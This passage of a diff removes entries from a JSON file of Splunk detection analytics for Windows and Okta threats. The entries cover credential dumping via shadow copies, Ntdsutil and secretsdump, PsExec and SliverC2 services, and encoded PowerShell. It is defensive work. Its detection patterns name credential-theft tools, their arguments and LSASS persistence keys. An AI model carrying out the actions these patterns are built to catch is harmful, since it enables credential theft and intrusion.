creation of a symlink to a shadow copy, which may indicate credential dumping attempts. It leverages the Endpoint.Processes data model in Splunk to identify processes executing commands containing \"mklink\" and \"HarddiskVolumeShadowCopy\". This activity is significant because attackers often use this technique to manipulate or delete shadow copies, hindering system backup and recovery efforts. If confirmed malicious, this could prevent data restoration, complicate incident response, and lead to data loss or compromise. Analysts should review the process details, user, parent process, and any related artifacts to identify the attack source.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` Processes.process=*mklink* Processes.process=*HarddiskVolumeShadowCopy* by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process Processes.parent_process_name Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `credential_dumping_via_symlink_to_shadow_copy_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to create symlink to a shadow copy to grab credentials.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Ntdsutil Export NTDS", - "description": "The following analytic detects the use of Ntdsutil to export the Active Directory database (NTDS.dit). It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because exporting NTDS.dit can be a precursor to offline password cracking, posing a severe security risk. If confirmed malicious, an attacker could gain access to sensitive credentials, potentially leading to unauthorized access and privilege escalation within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=ntdsutil.exe Processes.process=*ntds* Processes.process=*create*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `ntdsutil_export_ntds_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "HAFNIUM Group", - "Living Off The Land", - "Prestige Ransomware", - "Rhysida Ransomware", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Active Directory NTDS export on $dest$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "SecretDumps Offline NTDS Dumping Tool", - "description": "The following analytic detects the potential use of the secretsdump.py tool to dump NTLM hashes from a copy of ntds.dit and the SAM, SYSTEM, and SECURITY registry hives. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns and process names associated with secretsdump.py. This activity is significant because it indicates an attempt to extract sensitive credential information offline, which is a common post-exploitation technique. If confirmed malicious, this could allow an attacker to obtain NTLM hashes, facilitating further lateral movement and potential privilege escalation within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"python*.exe\" Processes.process = \"*.py*\" Processes.process = \"*-ntds*\" (Processes.process = \"*-system*\" OR Processes.process = \"*-sam*\" OR Processes.process = \"*-security*\" OR Processes.process = \"*-bootkey*\") by Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `secretdumps_offline_ntds_dumping_tool_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Graceful Wipe Out Attack", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A secretdump process $process_name$ with secretdump commandline $process$ to dump credentials in host $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } } ], "external_reference": [ @@ -692400,201 +467471,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Windows ISO LNK File Creation", - "description": "The following analytic detects the creation of .iso.lnk files in the %USER%\\AppData\\Local\\Temp\\\\ path, indicating that an ISO file has been mounted and accessed. This detection leverages the Endpoint.Filesystem data model, specifically monitoring file creation events in the Windows Recent folder. This activity is significant as it may indicate the delivery and execution of potentially malicious payloads via ISO files. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\Microsoft\\\\Windows\\\\Recent\\\\*\") Filesystem.file_name IN (\"*.iso.lnk\", \"*.img.lnk\", \"*.vhd.lnk\", \"*vhdx.lnk\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iso_lnk_file_creation_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Amadey", - "Azorult", - "Brute Ratel C4", - "IcedID", - "Qakbot", - "Remcos", - "Spearphishing Attachments", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An ISO file was mounted on $dest$ and should be reviewed and filtered as needed.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1204.001", - "mitre_attack_technique": "Malicious Link", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -693171,51 +468047,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Windows Autostart Execution LSASS Driver Registry Modification", - "description": "The following analytic detects modifications to undocumented registry keys that allow a DLL to load into lsass.exe, potentially capturing credentials. It leverages the Endpoint.Registry data model to identify changes to \\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPt or \\CurrentControlSet\\Services\\NTDS\\LsaDbExtPt. This activity is significant as it indicates a possible attempt to inject malicious code into the Local Security Authority Subsystem Service (LSASS), which can lead to credential theft. If confirmed malicious, this could allow attackers to gain unauthorized access to sensitive information and escalate privileges within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path IN (\"*\\\\CurrentControlSet\\\\Services\\\\NTDS\\\\DirectoryServiceExtPt\",\"*\\\\CurrentControlSet\\\\Services\\\\NTDS\\\\LsaDbExtPt\") by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_autostart_execution_lsass_driver_registry_modification_filter`", - "tags": { - "analytic_story": [ - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "The registry values for DirectoryServiceExtPt or LsaDbExtPt were modified on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.008", - "mitre_attack_technique": "LSASS Driver", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -693885,509 +468716,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" ] - }, - { - "name": "Detect Renamed PSExec", - "description": "The following analytic identifies instances where `PsExec.exe` has been renamed and executed on an endpoint. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names. This activity is significant because renaming `PsExec.exe` is a common tactic to evade detection. If confirmed malicious, this could allow an attacker to execute commands remotely, potentially leading to unauthorized access, lateral movement, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name!=psexec.exe OR Processes.process_name!=psexec64.exe) AND Processes.original_file_name=psexec.c by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_renamed_psexec_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "BlackByte Ransomware", - "CISA AA22-320A", - "DHS Report TA18-074A", - "DarkGate Malware", - "DarkSide Ransomware", - "HAFNIUM Group", - "Rhysida Ransomware", - "SamSam Ransomware", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ by $user$.", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Excessive Usage Of SC Service Utility", - "description": "The following analytic detects excessive usage of the `sc.exe` service utility on a host machine. It leverages Sysmon EventCode 1 logs to identify instances where `sc.exe` is executed more frequently than normal within a 15-minute window. This behavior is significant as it is commonly associated with ransomware, cryptocurrency miners, and other malware attempting to create, modify, delete, or disable services, potentially related to security applications or for privilege escalation. If confirmed malicious, this activity could allow attackers to manipulate critical services, leading to system compromise or disruption of security defenses.", - "search": "`sysmon` EventCode = 1 process_name = \"sc.exe\" | bucket _time span=15m | stats values(process) as process count as numScExe by dest, _time | eventstats avg(numScExe) as avgScExe, stdev(numScExe) as stdScExe, count as numSlots by dest | eval upperThreshold=(avgScExe + stdScExe *3) | eval isOutlier=if(avgScExe > 5 and avgScExe >= upperThreshold, 1, 0) | search isOutlier=1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_usage_of_sc_service_utility_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Excessive Usage Of SC Service Utility", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "First Time Seen Running Windows Service", - "description": "The following analytic detects the first occurrence of a Windows service running in your environment. It leverages Windows system event logs, specifically EventCode 7036, to identify services entering the \"running\" state. This activity is significant because the appearance of a new or previously unseen service could indicate the installation of unauthorized or malicious software. If confirmed malicious, this activity could allow an attacker to execute arbitrary code, maintain persistence, or escalate privileges within the environment. Monitoring for new services helps in early detection of potential threats.", - "search": "`wineventlog_system` EventCode=7036 | rex field=Message \"The (?[-\\(\\)\\s\\w]+) service entered the (?\\w+) state\" | where state=\"running\" | lookup previously_seen_running_windows_services service as service OUTPUT firstTimeSeen | where isnull(firstTimeSeen) OR firstTimeSeen > relative_time(now(), `previously_seen_windows_services_window`) | table _time dest service | `first_time_seen_running_windows_service_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Orangeworm Attack Group", - "Windows Service Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Malicious Powershell Executed As A Service", - "description": "The following analytic identifies the execution of malicious PowerShell commands or payloads via the Windows SC.exe utility. It detects this activity by analyzing Windows System logs (EventCode 7045) and filtering for specific PowerShell-related patterns in the ImagePath field. This behavior is significant because it indicates potential abuse of the Windows Service Control Manager to run unauthorized or harmful scripts, which could lead to system compromise. If confirmed malicious, this activity could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": " `wineventlog_system` EventCode=7045 | eval l_ImagePath=lower(ImagePath) | regex l_ImagePath=\"powershell[.\\s]|powershell_ise[.\\s]|pwsh[.\\s]|psexec[.\\s]\" | regex l_ImagePath=\"-nop[rofile\\s]+|-w[indowstyle]*\\s+hid[den]*|-noe[xit\\s]+|-enc[odedcommand\\s]+\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ImagePath ServiceName StartType ServiceType AccountName UserID dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `malicious_powershell_executed_as_a_service_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Identifies the abuse the Windows SC.exe to execute malicious powerShell as a service $ImagePath$ by $user$ on $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Create SliverC2", - "description": "The following analytic detects the creation of a Windows service named \"Sliver\" with the description \"Sliver Implant,\" indicative of SliverC2 lateral movement using the PsExec module. It leverages Windows EventCode 7045 from the System Event log to identify this activity. This behavior is significant as it may indicate an adversary's attempt to establish persistence or execute commands remotely. If confirmed malicious, this activity could allow attackers to maintain control over the compromised system, execute arbitrary code, and further infiltrate the network.", - "search": "`wineventlog_system` EventCode=7045 ServiceName=\"sliver\" | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ImagePath ServiceName ServiceType | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_create_sliverc2_filter`", - "tags": { - "analytic_story": [ - "BishopFox Sliver Adversary Emulation Framework" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A user mode service was created on $dest$ related to SliverC2.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Created with Suspicious Service Path", - "description": "The following analytic detects the creation of a Windows Service with a binary path located in uncommon directories, using Windows Event ID 7045. It leverages logs from the `wineventlog_system` to identify services installed outside typical system directories. This activity is significant as adversaries, including those deploying Clop ransomware, often create malicious services for lateral movement, remote code execution, persistence, and execution. If confirmed malicious, this could allow attackers to maintain persistence, execute arbitrary code, and potentially escalate privileges, posing a severe threat to the environment.", - "search": " `wineventlog_system` EventCode=7045 ImagePath = \"*.exe\" NOT (ImagePath IN (\"*:\\\\Windows\\\\*\", \"*:\\\\Program File*\", \"*:\\\\Programdata\\\\*\", \"*%systemroot%\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ImagePath ServiceName ServiceType StartType Computer UserID | rename Computer as dest| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_created_with_suspicious_service_path_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Brute Ratel C4", - "CISA AA23-347A", - "Clop Ransomware", - "Flax Typhoon", - "PlugX", - "Qakbot", - "Snake Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "ImagePath", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "A service $ImagePath$ was created from a non-standard path using $ServiceName$ on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Snake Malware Service Create", - "description": "The following analytic detects the creation of a new service named WerFaultSvc with a binary path in the Windows WinSxS directory. It leverages Windows System logs, specifically EventCode 7045, to identify this activity. This behavior is significant because it indicates the presence of Snake malware, which uses this service to maintain persistence by blending in with legitimate Windows services. If confirmed malicious, this activity could allow an attacker to execute Snake malware components, leading to potential data exfiltration, system compromise, and long-term persistence within the environment.", - "search": "`wineventlog_system` EventCode=7045 ImagePath=\"*\\\\windows\\\\winSxS\\\\*\" ImagePath=\"*\\Werfault.exe\" | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ImagePath ServiceName ServiceType | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_snake_malware_service_create_filter`", - "tags": { - "analytic_story": [ - "Snake Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A service, WerFaultSvc, was created on $dest$ and is related to Snake Malware.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.006", - "mitre_attack_technique": "Kernel Modules and Extensions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -695194,3146 +469522,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" ] - }, - { - "name": "Okta Authentication Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts during the Multi-Factor Authentication (MFA) challenge in an Okta tenant. It uses the Authentication datamodel to detect specific failed events where the authentication signature is `user.authentication.auth_via_mfa`. This activity is significant as it may indicate an adversary attempting to authenticate with compromised credentials on an account with MFA enabled. If confirmed malicious, this could suggest an ongoing attempt to bypass MFA protections, potentially leading to unauthorized access and further compromise of the affected account.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Authentication.app) as app values(Authentication.reason) as reason values(Authentication.signature) as signature values(Authentication.method) as method from datamodel=Authentication where Authentication.signature=user.authentication.auth_via_mfa Authentication.action = failure by _time Authentication.src Authentication.user Authentication.dest Authentication.action | `drop_dm_object_name(\"Authentication\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| iplocation src | `okta_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A user [$user$] has failed to authenticate via MFA from IP Address - [$src$]\"", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": 